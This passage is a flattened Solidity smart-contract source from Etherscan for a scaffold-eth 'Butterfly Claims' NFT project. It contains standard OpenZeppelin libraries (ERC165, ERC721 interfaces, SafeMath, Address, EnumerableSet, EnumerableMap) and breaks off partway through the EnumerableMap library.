/** *Submitted for verification at Etherscan.io on 2021-07-09 */ /* /$$$$$$$ /$$ /$$ /$$$$$$ /$$ /$$$$$$ /$$ /$$ | $$__ $$ | $$ | $$ /$$__ $$| $$ /$$__ $$| $$ |__/ | $$ \ $$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/| $$ /$$ /$$ | $$ \__/| $$ /$$$$$$ /$$ /$$$$$$/$$$$ /$$$$$$$ | $$$$$$$ | $$ | $$|_ $$_/|_ $$_/ /$$__ $$ /$$__ $$| $$$$ | $$| $$ | $$ | $$ | $$ |____ $$| $$| $$_ $$_ $$ /$$_____/ | $$__ $$| $$ | $$ | $$ | $$ | $$$$$$$$| $$ \__/| $$_/ | $$| $$ | $$ | $$ | $$ /$$$$$$$| $$| $$ \ $$ \ $$| $$$$$$ | $$ \ $$| $$ | $$ | $$ /$$| $$ /$$| $$_____/| $$ | $$ | $$| $$ | $$ | $$ $$| $$ /$$__ $$| $$| $$ | $$ | $$ \____ $$ | $$$$$$$/| $$$$$$/ | $$$$/| $$$$/| $$$$$$$| $$ | $$ | $$| $$$$$$$ | $$$$$$/| $$| $$$$$$$| $$| $$ | $$ | $$ /$$$$$$$/ |_______/ \______/ \___/ \___/ \_______/|__/ |__/ |__/ \____ $$ \______/ |__/ \_______/|__/|__/ |__/ |__/|_______/ /$$ | $$ | $$$$$$/ \______/ https://github.com/austintgriffith/scaffold-eth/tree/butterfly-claims BuidlGuidl.com */ // Sources flattened with hardhat v2.1.1 https://hardhat.org // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool 